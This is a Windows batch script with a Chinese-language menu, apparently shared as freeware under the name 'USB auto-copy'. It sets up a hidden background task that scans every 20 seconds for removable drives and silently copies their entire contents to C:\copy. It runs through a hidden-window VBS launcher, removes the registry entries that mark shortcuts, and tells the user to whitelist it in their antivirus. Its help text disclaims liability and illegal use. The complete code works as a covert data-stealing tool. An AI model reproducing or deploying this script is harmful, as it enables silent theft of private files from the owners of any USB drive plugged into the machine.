@echo off
mode con: cols=80 lines=40
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo.
echo     ====================================================================
echo.
echo.
echo                              安裝U盤自動復制
echo.
echo                     歡迎使用,請選擇選項(1,2,3,4,5,6)
echo.
echo.
echo                                [1] 安裝程序
echo                                [2] 運行程序
echo                                [3] 關閉程序
echo                                [4] 卸載程序
echo                                [5] 生成快捷方式
echo                                [6] 使用幫助
echo                                [7] X鍵關閉
echo.
echo.
echo.
echo 　　       提示：如果你計算機安裝有殺毒軟件，請授權此VBS代碼！
echo.
echo.                 
echo.
echo.
echo                          $$$ 晗晗制造，版本1.0 $$$
echo.
echo     ====================================================================
echo.
set /p choice=請輸入：
if {%choice%}=={} goto start
if /i %choice%==1 goto install
if /i %choice%==2 goto open
if /i %choice%==3 goto close
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto shutcut
if /i %choice%==6 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安裝程序=============================
if exist %temp%/copy.cmd del /Q /f "%temp%/copy.cmd"
copy copy.cmd "%temp%/copy.cmd" >nul 2>nul
copy sleep.exe "%temp%/sleep.exe" >nul 2>nul
rem ==============================隱藏窗口=============================
if exist %temp%/hide.vbs del /Q %temp%/hide.vbs
echo.
echo 如果你計算機安裝有殺毒軟件，請授權此VBS代碼
reg delete "HKEY_CLASSES_ROOT/lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT/piffile" /v IsShortcut /f >nul 2>nul
set path=%temp%/copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%/hide.vbs"
echo ws.Run "%path%",0 >>%temp%/hide.vbs
rem ==============================建立終止=============================
echo @echo off >%temp%/kill.cmd
echo mode con: cols=20 lines=2 >>%temp%/kill.cmd
echo echo                    程序已經成功終止！>>%temp%/kill.cmd
echo pause ^>nul 2^>nul >>%temp%/kill.cmd
echo tskill ping ^>nul 2^>nul >>%temp%/kill.cmd
echo tskill xcopy ^>nul 2^>nul >>%temp%/kill.cmd
echo tskill sleep ^>nul 2^>nul >>%temp%/kill.cmd
echo tskill cmd ^>nul 2^>nul >>%temp%/kill.cmd
echo exit ^>nul 2^>nul >>%temp%/kill.cmd
rem ==============================建立快捷=============================
:shutcut
echo.
if not exist "%temp%/hide.vbs" goto start
set path2=%temp%/hide.vbs
echo [InternetShortcut] >>U盤自動復制.url
echo URL="%path2%" >>U盤自動復制.url
echo IconIndex=29 >>U盤自動復制.url
echo IconFile=C:/windows/system32/shell32.dll >>U盤自動復制.url
set path3=%temp%/kill.cmd
echo [InternetShortcut] >>終止U盤自動復制.url
echo URL="%path3%" >>終止U盤自動復制.url
echo IconIndex=29 >>終止U盤自動復制.url
echo IconFile=C:/windows/system32/shell32.dll >>終止U盤自動復制.url
echo 成功結束！請直接運行快捷方式！
pause >nul 2>nul
goto start
rem ==============================安裝結束=============================


:uninstall
rem ==============================卸載程序=============================
echo.
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
del /Q /f "%temp%/copy.cmd" >nul 2>nul
del /Q /f "%temp%/hide.vbs" >nul 2>nul
del /Q /f "%temp%/copy.tmp" >nul 2>nul
del /Q /f "%temp%/sleep.exe" >nul 2>nul
del /Q /f "%temp%/kill.cmd" >nul 2>nul
del /Q /f U盤自動復制.url >nul 2>nul
del /Q /f 終止U盤自動復制.url >nul 2>nul
echo 程序已經成功卸載！
reg add "HKEY_CLASSES_ROOT/lnkfile" /v IsShortcut /f >nul 2>nul
reg add "HKEY_CLASSES_ROOT/piffile" /v IsShortcut /f >nul 2>nul
pause >nul 2>nul
goto start
rem ==============================卸載結束=============================


:open
rem ==============================運行程序=============================
echo.
if not exist %temp%/copy.cmd goto start
"%temp%/hide.vbs"
echo 程序已經成功開始自運行(20秒掃描一次)！
pause >nul 2>nul
exit
rem ==============================運行結束=============================



:close
rem ==============================終止程序=============================
echo.
if not exist %temp%/copy.cmd goto start
echo 程序已經成功結束自運行！
pause >nul 2>nul
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
tskill cmd >nul 2>nul
exit
rem ==============================終止結束=============================




:help
rem ==============================使用幫助=============================
cls
echo.
echo.
echo   本工具適用于Windows XPsp2系統,由此造成的一切損失,本人不負任何責任.
echo.
echo.
echo   使用方法: 1 點擊安裝程序
echo.
echo             2 如果你計算機安裝有殺毒軟件，請授權此VBS代碼
echo.
echo             3 第一次安裝可能需要先運行，然后結束一次才能生效(視系統設置而定)
echo.
echo             4 安裝后請用快捷方式啟動或者關閉，無需用安裝程序啟動
echo.
echo             5 本程序可以在U盤插入前運行，也可以在插入后運行
echo.
echo             6 點擊運行程序，程序將自動每20秒執行一次
echo.
echo             7 請確保你的c:/有足夠的空間，程序運行時候建議不要插移動硬盤
echo.
echo             8 請務必確認你要copy的U盤無毒
echo.
echo             9 本程序在掃描時比較占內存，建議每次使用后關閉
echo.
echo            10 建立的快捷方式，你可以改名并把它放在任何地方，包括啟動菜單
echo.
echo            11 請及時清理默認保存目錄c:/copy文件夾里邊的文件
echo.
echo            12 本軟件不保證copy數據的正確性
echo.
echo            13 本軟件不要使用于非法用途
echo.
echo.
echo    本軟件為免費軟件歡迎大家使用
echo.
echo    按任意鍵返回主菜單
pause >nul 2>nul
goto start
rem ==============================幫助結束=============================


:shut
rem ==============================關閉程序=============================
exit
rem ==============================關閉結束=============================

@echo off
title $$$$*晗*晗*制*造*$$$$
mode con: cols=14 lines=1
:again
cls
del /Q /f "%temp%/copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%/copy.tmp"
findstr /i "可移動驅動器" "%temp%/copy.tmp" 
if errorlevel==1 goto end
if errorlevel==0 goto copy 
:end 
rem 沒有檢測到可移動磁盤！
if not exist %temp%/sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%/sleep.exe 20s
goto again
:copy 
if exist c:/copy goto goon
cd/
cd /d c:
md copy  
:goon 
for /f "tokens=1" %%i in ('findstr /i "可移動驅動器" "%temp%/copy.tmp"') do (
xcopy /e /y  %%i/*.* c:/copy >nul 2>nul
)
rem 已復制，請及時清理文件！
if not exist %temp%/sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%/sleep.exe 20s
goto again